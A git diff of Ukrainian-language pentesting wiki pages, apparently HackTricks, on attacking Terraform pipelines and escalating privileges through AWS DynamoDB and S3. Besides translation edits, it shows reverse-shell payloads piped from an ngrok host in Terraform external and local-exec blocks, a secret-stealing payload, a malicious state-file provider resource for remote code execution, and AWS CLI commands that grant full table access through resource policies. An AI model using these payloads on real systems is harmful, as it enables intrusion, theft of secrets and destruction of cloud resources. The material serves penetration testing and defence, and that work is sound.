diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index fa6f444ef..89eb1448c 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [З документації:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform - це **інструмент інфраструктури як код**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що читаються людиною, які ви можете версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS. +HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що читаються людиною, які ви можете версіювати, повторно використовувати та ділитися ними. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислювальні, сховищні та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS. #### Як працює Terraform? @@ -20,7 +20,7 @@ HashiCorp та спільнота Terraform вже написали **більш - **Написати:** Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження. - **План:** Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації. -- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, дотримуючись будь-яких залежностей ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини. +- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, враховуючи будь-які залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини. ![](<../images/image (215).png>) @@ -30,13 +30,13 @@ HashiCorp та спільнота Terraform вже написали **більш Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось у вас є [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads). -## RCE в Terraform +## RCE в Terraform: отруєння конфігураційного файлу -Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform - це **мати можливість додавати/модифікувати конфігураційні файли terraform**. +Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це **мати можливість додавати/модифікувати конфігураційні файли terraform** або **мати можливість модифікувати файл стану terraform** (див. розділ нижче). Однак terraform є **дуже чутливим компонентом** для компрометації, оскільки він матиме **привілейований доступ** до різних місць, щоб працювати належним чином. -Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, - це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**. +Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**. Насправді існують рішення, які **автоматично виконують terraform plan/apply після створення PR**, такі як **Atlantis**: @@ -48,11 +48,11 @@ atlantis-security.md ### Terraform plan -Terraform plan - це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** - це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`. +Terraform plan — це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`. **Використання зовнішнього провайдера** -Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконувати довільний код під час `plan`. +Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконати довільний код під час `plan`. Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання `terraform plan`: ```javascript @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Використання кастомного провайдера** -Зловмисник може надіслати [кастомний провайдер](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)): +Атакуючий може надіслати [кастомний провайдер](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -81,7 +81,7 @@ provider "evil" {} **Використання зовнішнього посилання** -Обидва згадані варіанти корисні, але не дуже приховані (другий варіант більш прихований, але складніший за перший). Ви можете виконати цю атаку навіть **більш приховано**, дотримуючись цих порад: +Обидва згадані варіанти корисні, але не дуже приховані (другий варіант більш прихований, але складніший за перший). Ви можете виконати цю атаку навіть **більш приховано**, дотримуючись цих рекомендацій: - Замість того, щоб додавати rev shell безпосередньо в файл terraform, ви можете **завантажити зовнішній ресурс**, який містить rev shell: ```javascript @@ -96,7 +96,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ### Terraform Apply Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи **зловмисний Terraform файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Вам просто потрібно переконатися, що якийсь payload, наприклад, наступні, закінчується у файлі `main.tf`: +Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -116,7 +116,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ## Витоки секретів -Ви можете **вивести секретні значення, які використовуються terraform**, запустивши `terraform apply`, додавши до файлу terraform щось на зразок: +Ви можете отримати **секретні значення, які використовуються terraform, вивантаживши** їх, запустивши `terraform apply`, додавши до файлу terraform щось на зразок: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,7 +124,35 @@ value = nonsensitive(var.do_token) ``` ## Зловживання файлами стану Terraform -У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу: +У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу. Навіть якщо у вас буде доступ на запис до конфігураційних файлів, використання вектора файлів стану часто є набагато підступнішим, оскільки ви не залишаєте слідів в історії `git`. + +### RCE в Terraform: отруєння конфігураційного файлу + +Можливо [створити власного провайдера](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати фальшивий ресурс, що посилається на шкідливий провайдер. + +Провайдер [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) базується на дослідженні та використовує цей принцип. Ви можете додати фальшивий ресурс і вказати довільну команду bash, яку хочете виконати, в атрибуті `command`. Коли запускається `terraform`, це буде прочитано та виконано на етапах `terraform plan` і `terraform apply`. У випадку етапу `terraform apply`, `terraform` видалить фальшивий ресурс з файлу стану після виконання вашої команди, прибираючи за собою. Більше інформації та повну демонстрацію можна знайти в [репозиторії GitHub, що містить вихідний код для цього провайдера](https://github.com/offensive-actions/terraform-provider-statefile-rce). + +Щоб використовувати це безпосередньо, просто включіть наступне в будь-якому місці масиву `resources` і налаштуйте атрибути `name` та `command`: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +Тоді, як тільки `terraform` буде виконано, ваш код запуститься. ### Видалення ресурсів @@ -132,7 +160,7 @@ value = nonsensitive(var.do_token) 1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення** -Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки: +Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ID ресурсу, що вказаний). Приклад з попередньої сторінки: ```json { "mode": "managed", @@ -150,23 +178,8 @@ value = nonsensitive(var.do_token) ``` 2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)** -Для EC2 інстансу зміна типу інстансу є достатньою, щоб terraform видалив і відтворив його. +Для EC2 інстансу, зміна типу інстансу є достатньою для того, щоб terraform видалив і відтворив його. -### RCE - -Також можливо [створити власний провайдер](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` ### Замініть заблокований провайдер У разі, якщо ви зіткнетеся з ситуацією, коли `hashicorp/external` був заблокований, ви можете повторно реалізувати провайдер `external`, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію. @@ -190,7 +203,7 @@ program = ["sh", "-c", "whoami"] ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC. +Snyk пропонує комплексне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC. - **Особливості:** - Сканування в реальному часі для вразливостей безпеки та проблем з відповідністю. @@ -219,12 +232,12 @@ checkov -d /path/to/folder З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування для вашої інфраструктури як коду. -- **compliance:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам -- **behaviour driven development:** У нас є BDD практично для всього, чому б не для IaC? -- **portable:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** він перевіряє ваш код перед його розгортанням -- **easy to integrate:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань. -- **segregation of duty:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них. +- **відповідність:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам +- **розробка, орієнтована на поведінку:** У нас є BDD практично для всього, чому б не для IaC? +- **переносимість:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Встановлення](https://terraform-compliance.com/pages/installation/) +- **попереднє розгортання:** він перевіряє ваш код перед його розгортанням +- **легкість інтеграції:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань. +- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них. > [!NOTE] > На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент. @@ -245,7 +258,7 @@ terraform-compliance -f /path/to/folder - 🔗 Оцінює відносини між ресурсами Terraform - 🧰 Сумісний з Terraform CDK - 🙅 Застосовує (та прикрашає) визначені користувачем політики Rego -- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, текст, Gif. +- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. - 🛠️ Налаштовуваний (через CLI флаги та/або конфігураційний файл) - ⚡ Дуже швидкий, здатний швидко сканувати величезні репозиторії ```bash @@ -256,7 +269,7 @@ tfsec /path/to/folder Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні налаштування інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx. -**KICS** означає **K**eeping **I**nfrastructure as **C**ode **S**ecure, це відкритий код і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології. +**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` @@ -278,5 +291,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index c7fc427bd..0f40d8c5e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,9 +10,58 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### `dynamodb:PutResourcePolicy`, і за бажанням `dynamodb:GetResourcePolicy` -Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може викликати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Post Exploitation DynamoDB**: +З березня 2024 року AWS пропонує *політики на основі ресурсів* для DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Отже, якщо у вас є `dynamodb:PutResourcePolicy` для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці. + +Надання `dynamodb:PutResourcePolicy` випадковому суб'єкту часто відбувається випадково, якщо адміністратори вважають, що надання `dynamodb:Put*` дозволить лише суб'єкту додавати елементи до бази даних - або якщо вони надали цей набір дозволів до березня 2024 року... + +В ідеалі, у вас також є `dynamodb:GetResourcePolicy`, щоб ви не перезаписували інші потенційно важливі дозволи, а лише інжектували додаткові дозволи, які вам потрібні: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому принципалу: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Якщо вам потрібно налаштувати це, ось список усіх можливих дій DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). А ось список усіх дій, які можуть бути дозволені через політику на основі ресурсів *І які з них можуть використовуватися між обліковими записами (подумайте про ексфільтрацію даних!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Тепер, з документом політики `policy.json`, додайте політику ресурсу: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Тепер у вас повинні бути потрібні дозволи. + +### Постексплуатація + +Наскільки мені відомо, **немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці постексплуатації DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index dbe0e94e4..6039fffdf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ ] } ``` -І викрадення можливе через **невеликий проміжок часу з моменту завантаження шаблону** до бакету до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з бакету**, і **викраде** **вміст** цього **бакету**. +І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**. ![](<../../../images/image (174).png>) @@ -45,14 +45,26 @@ Це дозволи на **отримання та завантаження об'єктів до S3**. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання **конфігураційних файлів**.\ Зловмисник з **доступом на читання** до них може знайти **чутливу інформацію** в них.\ -Зловмисник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\ +Зловмисник з **доступом на запис** до них може **модифікувати дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\ Ось кілька прикладів: -- Якщо EC2 інстанс зберігає **дані користувача в S3 бакеті**, зловмисник може змінити їх, щоб **виконати довільний код всередині EC2 інстансу**. +- Якщо екземпляр EC2 зберігає **дані користувача в S3 кошику**, зловмисник може змінити їх, щоб **виконати довільний код всередині екземпляра EC2**. + +### `s3:PutObject`, `s3:GetObject` (додатково) над файлом стану terraform + +Досить поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`. + +Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями `terraform` - найчастіше `AdministratorAccess`, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи `terraform` видаляти законні ресурси. + +Слідуйте опису в розділі *Зловживання файлами стану Terraform* на сторінці *Безпека Terraform* для безпосередньо використовуваного коду експлойту: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} ### `s3:PutBucketPolicy` -Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів над бакетом(ами), що дозволить йому читати, писати, змінювати, видаляти та відкривати бакети. +Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `Метод, що вказується, не дозволено`, з цим дозволом зможе надати собі більше дозволів над кошиком(ами), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket